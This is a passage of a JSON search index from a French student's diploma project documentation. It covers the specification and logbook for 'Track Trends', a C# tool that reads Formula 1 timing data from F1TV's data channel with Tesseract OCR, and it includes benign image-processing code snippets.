remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]","title":"Ethique du projet"},{"location":"index.html#utilisation-de-chat-gpt","text":"[A remplir \u00e0 la fin du projet]","title":"Utilisation de Chat GPT"},{"location":"index.html#ameliorations-futures","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Am\u00e9liorations futures"},{"location":"index.html#conclusion","text":"[A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Conclusion"},{"location":"index.html#notes-de-code","text":"","title":"Notes de code"},{"location":"CahierDesCharges.html","text":"Cahier des charges Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023 Contexte Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\" Cas d'utilisation *On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Cahier des charges"},{"location":"CahierDesCharges.html#cahier-des-charges","text":"Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023","title":"Cahier des charges"},{"location":"CahierDesCharges.html#contexte","text":"Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion.","title":"Contexte"},{"location":"CahierDesCharges.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"CahierDesCharges.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\"","title":"R\u00e9alisation"},{"location":"CahierDesCharges.html#cas-dutilisation","text":"*On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"CahierDesCharges.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"jdb.html","text":"Journal de bord Mercredi 29 Mars 2023 Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder. Jeudi 30 Mars 2023 Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon. Vendredi 31/03/2023 Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine ( tessDataFolder . FullName , \"eng\" , EngineMode . Default ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( sample )); Page page = engine . Process ( tessImage ); string text = page . GetText (); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte [] ImageToByte ( Image img ) { using ( var stream = new MemoryStream ()) { img . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine . Process ( tessImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Declare a Rect variable to hold the bounding box Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { g . DrawRectangle ( Pens . Red , new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } // Get the text for the current element var text = iter . GetText ( PageIteratorLevel . Word ); tbxResult . Text += text . ToUpper () + Environment . NewLine ; } while ( iter . Next ( PageIteratorLevel . Word )); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite ( Bitmap inputBmp ) { const int BLACK_TO_WHITE_TRESHOLD = 200 ; Bitmap result = new Bitmap ( inputBmp . Width , inputBmp . Height ); for ( int y = 0 ; y < inputBmp . Height ; y ++) { for ( int x = 0 ; x < inputBmp . Width ; x ++) { Color pixelColor = inputBmp . GetPixel ( x , y ); if ( pixelColor . R <= BLACK_TO_WHITE_TRESHOLD && pixelColor . G <= BLACK_TO_WHITE_TRESHOLD && pixelColor . B <= BLACK_TO_WHITE_TRESHOLD ) { pixelColor = Color . FromArgb ( 0 , 0 , 0 ); } else { pixelColor = Color . FromArgb ( 255 , 255 , 255 ); } result . SetPixel ( x , y , pixelColor ); } } return result ; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus. Lundi 3 Avril Aujourd'hui on va faire un 